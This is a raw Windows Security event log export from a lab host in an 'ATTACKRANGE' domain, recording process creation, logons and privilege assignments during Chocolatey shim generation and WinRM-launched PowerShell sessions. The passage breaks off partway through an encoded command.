C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES7700.tmp" "c:\ProgramData\chocolatey\bin\CSC590F01208A7457486CAB38EE71658.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246243 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe24 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246242 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe24 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xee0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\7z.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123348_1307\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123348_1307\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123348_1307\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123348_1307\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123348_1307\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246241 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee0 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xeb4 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" -o "C:\ProgramData\chocolatey\bin\7z.exe" -p "c:\program files\7-zip\7z.exe" -i "C:\Program Files\7-Zip\7z.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246283 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x94C48 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246282 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x94C48 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246281 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246280 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246279 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd70 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc68 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246278 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc68 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc54 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246277 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x936F7 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246276 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x936F7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246275 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246274 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246273 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc54 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xebc - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246272 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xebc - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe80 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAY